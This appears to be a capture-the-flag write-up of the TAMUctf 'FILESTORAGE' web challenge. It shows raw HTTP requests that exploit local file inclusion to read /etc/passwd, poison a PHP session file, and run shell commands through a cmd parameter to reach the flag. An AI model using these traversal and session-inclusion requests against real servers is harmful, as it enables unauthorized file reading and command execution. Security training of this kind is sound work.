# ▼▼▼FILESTORAGE(Web:122pts,166/661=25.1％)▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
---
## 【Vulnerability identification】
```GET /index.php?file=../../../../../etc/passwd HTTP/1.1Host: filestorage.tamuctf.com```
↓
```backroot:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologinman:x:13:15:man:/usr/man:/sbin/nologinpostmaster:x:14:12:postmaster:/var/mail:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologinat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologinxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologincyrus:x:85:12::/usr/cyrus:/sbin/nologinvpopmail:x:89:89::/var/vpopmail:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinapache:x:100:101:apache:/var/www:/sbin/nologin```
↓
**LFI(Locat File Inclusion)** vulnerability exists
---
## 【exploit】
Send PHP code in request
↓
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=diimunr8iaco7vt7alo835ou8g
name=sss```
---
Load code with LFI and execute arbitrary code
↓
```GET /index.php?cmd=ls%20/&file=../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comCookie: PHPSESSID=diimunr8iaco7vt7alo835ou8gConnection: close```
↓
```bindevetcflag_is_herehomelibmediamntoptprocrootrunsbinsrvstart.shsystmpusrvar```
↓
`flag_is_here`
---
```GET /index.php?cmd=ls%20/flag_is_here&file=../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comCookie: PHPSESSID=diimunr8iaco7vt7alo835ou8gConnection: close```
↓
`flag.txt`
---
```GET /index.php?cmd=cat%20/flag_is_here/flag.txt&file=../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comCookie: PHPSESSID=diimunr8iaco7vt7alo835ou8gConnection: close```
↓
`gigem{535510n_f1l3_p0150n1n6}`